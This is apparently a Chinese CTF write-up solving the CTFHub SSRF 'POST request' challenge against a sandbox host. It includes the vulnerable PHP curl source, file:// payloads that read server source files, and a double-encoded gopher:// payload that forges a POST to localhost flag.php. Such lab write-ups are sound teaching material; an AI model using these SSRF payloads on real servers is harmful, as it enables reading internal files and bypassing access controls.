POST请求
hint:这次是发一个HTTP POST请求,对了,ssrf是用php的curl实现的,并且会跟踪302跳转,加油吧骚年。
启动环境,访问页面为空白,查看URL:
http://challenge-d01ce204edb10174.sandbox.ctfhub.com:10800/?url=_
通过 GET 传参直接拼接上127.0.0.1/flag.php
,访问后得到一个输入框:
查看源码:
<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=51457bb0a50c1eb2c92dcc3ec3c2cc13-->
</form>
得到key
值,输入后:
提示只允许从127.0.0.1
访问,尝试通过file
协议读取index.php
以及flag.php
页面的源码,构造如下 Payload:
?url=file:///var/www/html/index.php
?url=file:///var/www/html/flag.php
得到index.php
页面源码如下:
<?php
error_reporting(0);
if (!isset($_REQUEST['url'])){
header("Location: /?url=_");
exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
得到flag.php
页面源码如下:
<?php
error_reporting(0);
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
return;
}
$flag=getenv("CTFHUB");
$key = md5($flag);
if (isset($_POST["key"]) && $_POST["key"] == $key) {
echo $flag;
exit;
}
?>
<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>
尝试使用 Gopher 协议向服务器发送 POST 包
首先构造 Gopher协议所需的 POST请求:
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded
key=51457bb0a50c1eb2c92dcc3ec3c2cc13
注
:在使用 Gopher协议发送 POST请求包时,Host
、Content-Type
和Content-Length
请求头是必不可少的,但在 GET请求中可以没有。
在向服务器发送请求时,首先浏览器会进行一次 URL解码,其次服务器收到请求后,在执行curl
功能时,进行第二次 URL解码。
所以我们需要对构造的请求包进行两次 URL编码:
将构造好的请求包进行第一次 URL编码:
注
:在第一次编码后的数据中,将%0A
全部替换为%0D%0A
。因为 Gopher协议包含的请求数据包中,可能包含有=
、&
等特殊字符,避免与服务器解析传入的参数键值对混淆,所以对数据包进行 URL编码,这样服务端会把%
后的字节当做普通字节。
再进行第二次 URL编码得到如下 Gopher请求内容:
POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252036%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250A%250D%250Akey%253D51457bb0a50c1eb2c92dcc3ec3c2cc13
因为flag.php
中的$_SERVER["REMOTE_ADDR"]
无法绕过,只能通过index.php
页面中的curl
功能向目标发送 POST请求,构造如下Payload:
?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252036%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250A%250D%250Akey%253D51457bb0a50c1eb2c92dcc3ec3c2cc13
向目标发送请求,得到 flag: